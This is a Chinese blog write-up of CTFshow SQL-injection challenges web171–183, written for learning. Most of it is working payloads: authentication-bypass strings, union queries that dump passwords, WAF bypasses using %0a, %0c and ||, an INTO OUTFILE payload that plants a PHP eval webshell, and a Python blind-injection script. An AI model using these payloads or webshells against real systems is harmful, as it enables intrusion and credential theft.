【CTF】CTFshow-SQL注入(持续更新)

5 篇文章 1 订阅
5 篇文章 0 订阅

【CTF】CTFshow-SQL注入(持续更新)

​ 就剩一年的大学时光了,最近也很迷茫,想找实习,又得考托福,又想提前开始毕设,假期前又要上学校安排的实训,马上还又有一门考试,事情一堆,但又感觉整天不知道自己应该做什么。

​ 在过完了我给自己安排的两个gap day后,想着那就索性照着实训的安排给自己再简简单单过一遍SQL注入吧,顺便把CTFshow刷一刷。

万能密码

普通万能密码:

' or 1=1#
' or 1=1--+

骚套路万能密码:

ffifdyop
经过md5加密后:276f722736c95d99e921722cf9ed621c
再转换为字符串:'or'6<乱码>`'or'66�]��!r,��b`
select * from admin where password=''or'6<乱码>' 
就相当于select * from admin where password=''or 1 实现sql注入

新型万能密码:

(刚看到的一个网站中写到的)

当所有能用的东西都被过滤了,即可使用:

username =  secpulse'='  password = secpulse'='
拼接起来就是:
select * from table where username='secpulse'='' and passowrd = 'secpulse'='';
sql解释引擎是从左至右执行: 数据库没有secpulse这个用户,结果是false false = '' 结果就是true
CTFshow-web171:

payload:

1' or 1=1%23

Union联合注入

找到注入点后,用order by判断列数,构造payload,即可在联合查询中执行自己所想执行的查询命令

CTFshow-web172:

payload:

题目:

会判断username中是否存在flag字样:
if($row->username!=='flag'){
      $ret['msg']='查询成功';
}
SQL源码:
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

因为username中不能出现flag字符串,可以用hex编码或base64绕过:

payload1:
-1' union select hex(username),password from ctfshow_user2 where username='flag
payload2:
-1' union select to_base64(username),password from ctfshow_user2 where username='flag
CTFshow-web173:

和web172不同的是这题对回显的内容也做了判断

if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
}

payload:

1' union select 1,2,password from ctfshow_user3 where username='flag'%23
CTFshow-web174:

replace替换绕过过滤

从源码看出本题不允许返回的内容中有数字,可以使用replace将各个被过滤的字符进行替换,收到后再将其替换回即可:

构造替换脚本:

i = 0
s = f"replace(password,'{i}','xx{chr(i + 65)}')"
for i in range(1,10):
    s = f"replace({s},'{i}','xx{chr( i + 65)}')"
    print(s)

通过replace的替换,可以将返回值中的数字都替换成指定的xxX形式的字符串,然后将得到的结果在替换回来并解码即可:

rsl='xxGxxDxxHxxExxGxxGxxHxxDxxGxxIxxGFxxHxxHxxHBxxGxxFxxDxxGxxDxxHxxGxxDxxD' \
    'xxHxxDxxCxxGxxBxxDxxHxxCDxxDxxGxxGxxCxxGxxDxxDxxAxxCDxxDxxExxGxxExxGxxExxD' \
    'xxFxxCDxxDxxIxxDxxIxxGxxBxxDxxIxxCDxxGxxDxxGxxDxxDxxGxxGxxGxxDxxFxxGxxGxxDxx' \
    'FxxDxxAxxDxxBxxGxxDxxDxxDxxGxxBxxHD'
rsl=rsl.replace('xxA','0').replace('xxB','1').replace('xxC','2').replace('xxD','3').replace('xxE','4')\
    .replace('xxF','5').replace('xxG','6').replace('xxH','7').replace('xxI','8').replace('xxJ','9')
flag = bytes.fromhex(rsl).decode("ascii")
print(flag)

注入点写文件

CTFshow-web175

从本题逻辑可以看出,本题不允许返回hex编码为0x00-0x7f区域内的内容,因此本题是无法正常返回我们的查询结果的,可以考虑使用into outfile的方法将一句话木马写到指定的文件中,使用蚁剑:

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
}

payload:

-1' union select 1,"<?php eval($_POST[1]);?>" into outfile'/var/www/html/1.php

蚁剑连接后在config.php中找到数据库的用户密码,登录即可查询flag

$dbhost ="127.0.0.1";

$dbuser = "root";

$dbpwd = "root";

$dbname = "ctfshow_web";

$charName = "utf-8"; 
SELECT * from ctfshow_user5;

绕过select过滤

CTFshow-web176:

这题使用先想到用联合查询,但发现被过滤了,但是!这题原来用万能密码就能出:

payload:

1' or 1=1--+

绕过空格过滤

CTFshow-web177

payload:

1'/**/or/**/1=1%23
CTFshow-web178

过滤了#、–、/**/(反正都用不了),用%0a代替空格构造

payload:

-1'%0aunion%0aselect%0a1,group_concat(password),3%0afrom%0actfshow_user%23
CTFshow-web179

本题把%0a也给过滤了,使用%0c也可以实现绕过空格的效果

payload:

1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23
CTFshow-web180

这题多过滤了一个%23注释,就用单引号闭合的方式吧

payload:

-1'union%0cselect%0c1,group_concat(password),3%0cfrom%0cctfshow_user%0cwhere'1'='1
CTFshow-web181

题目:

function waf($str){
	return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

本题过滤的有点彻底,看了其他师傅的WP后,原来还可以:

0'||username='flag

在MySQL中,||表示的是或符号,由于前方的id为0时无数据,因此会显示username=‘flag的内容。

CTFshow-web182

题目

function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

payload:

-1'or(id=26)and'1'='1

盲注

盲注可以分为时间盲注和布尔盲注

时间盲注:

使用if判断、sleep函数,通过页面的回显时间是否存在延时来判断是否可注入。

布尔盲注:

通过页面的返回状态进行拆解

CTFshow-web183

题目:

waf部分:
//对传入的参数进行了过滤
function waf($str){
	return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
sql部分:
    $sql = "select count(pass) from ".$_POST['tableName'].";";

过滤较多,常规的盲注用不了,可以考虑使用Mysql的正则regexp

基本用法:

select * from table_name where name like 'Sunny';
select * from table_name where name regexp 'Sunny';
select column_name from table_name where column regexp 'flag|ctfshow'
select column_name from table_name where column regexp '[0-9]test'

本题参数使用的post传参,exp:

import requests
import string

url="http://6c365f8a-328f-4768-b99a-e75bc2a72ddd.challenge.ctf.show/select-waf.php"
flag=""
strr=string.ascii_lowercase+"_-{}"+string.digits

for i in range(50):
    for j in strr:
        payload = "(ctfshow_user)where(pass)regexp\"ctfshow{" + flag + j +"\""
        data = {
            "tableName": payload
        }
        re = requests.post(url, data=data)
        if "$user_count = 1" in re.text:
            flag += j
    if flag[-1] == '}':
        print(flag)

这题exp很奇怪,我刚开始在找到一个能够正常回显的flag字符位的时候就break跳出这一位的判断,但是当匹配到0}的时候居然也能够正常返回,最后出来的flag就怪怪的,后面看了其他师傅的wp改了一下就正常了。

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sunny-Dog

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值